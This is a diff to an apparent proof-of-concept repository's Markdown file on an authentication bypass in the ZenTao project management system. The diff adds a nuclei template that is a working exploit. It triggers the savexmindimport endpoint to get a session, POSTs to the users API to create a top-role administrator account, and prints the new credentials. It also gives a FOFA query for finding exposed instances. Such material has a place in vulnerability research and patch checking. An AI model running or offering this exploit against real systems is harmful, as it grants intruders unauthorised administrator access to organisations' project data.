Update 禅道项目管理系统身份认证绕过漏洞.md

禅道项目管理系统身份认证绕过漏洞.md

@@ -57,3 +57,80 @@ Cookie: zentaosid=d95c19a900256b7dc3c3f1866b1d121c
 ![image](https://github.com/wy876/POC/assets/139549762/1c15070d-1563-4573-aff9-5da0da8c5848)
 
 
+## nuclei
+```
+id: easycorp-zentao-pms-idor-exp
+
+info:
+  name: 禅道项目管理系统身份认证绕过漏洞
+  author: GuoRong_X
+  severity: critical
+  description: |
+    - 禅道系统某些API设计为通过特定的鉴权函数进行验证，但在实际实现中，这个鉴权函数在鉴权失败后并不中断请求，而是仅返回一个错误标志，这个返回值在后续没有被适当处理。此外，该系统在处理某些API时未能有效检查用户身份，允许未认证的用户执行某些操作，从而绕过鉴权机制。
+  reference:
+    - https://mp.weixin.qq.com/s/hiGI_fQmXOHdkPqn6x00Jw
+  metadata:
+    verified: true
+    fofa-query: title="用户登录- 禅道"
+  tags: zentao
+variables:
+  username: '{{rand_base(6)}}'
+  password: '{{rand_base(12)}}'
+
+http:
+  - raw:
+      - |
+        GET /api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest&productID=upkbbehwgfscwizoglpw&branch=zqbcsfncxlpopmrvchsu HTTP/1.1
+        Host: {{Hostname}}
+
+      - |
+        GET /zentao/api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest&productID=upkbbehwgfscwizoglpw&branch=zqbcsfncxlpopmrvchsu HTTP/1.1
+        Host: {{Hostname}}
+
+      - |
+        GET /biz/api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest&productID=upkbbehwgfscwizoglpw&branch=zqbcsfncxlpopmrvchsu HTTP/1.1
+        Host: {{Hostname}}
+
+      - |
+        GET /max/api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest&productID=upkbbehwgfscwizoglpw&branch=zqbcsfncxlpopmrvchsu HTTP/1.1
+        Host: {{Hostname}}
+
+      - |
+        POST /api.php/v1/users HTTP/1.1
+        Host: {{Hostname}}
+
+        {"account": "{{username}}", "password": "{{password}}", "realname": "{{username}}", "role": "top", "group": "1"}
+
+      - |
+        POST /zentao/api.php/v1/users HTTP/1.1
+        Host: {{Hostname}}
+
+        {"account": "{{username}}", "password": "{{password}}", "realname": "{{username}}", "role": "top", "group": "1"}
+
+      - |
+        POST /biz/api.php/v1/users HTTP/1.1
+        Host: {{Hostname}}
+
+        {"account": "{{username}}", "password": "{{password}}", "realname": "{{username}}", "role": "top", "group": "1"}
+
+      - |
+        POST /max/api.php/v1/users HTTP/1.1
+        Host: {{Hostname}}
+
+        {"account": "{{username}}", "password": "{{password}}", "realname": "{{username}}", "role": "top", "group": "1"}
+    cookie-reuse: true
+
+    matchers-condition: and
+    matchers:
+      - type: dsl
+        dsl:
+          - 'contains(body_5, "{{username}}") || contains(body_6, "{{username}}") || contains(body_7, "{{username}}") || contains(body_8, "{{username}}")'
+        condition: and
+
+    extractors:
+      - type: dsl
+        dsl:
+          - '"USER: "+ username'
+          - '"PASS: "+ password'
+
+```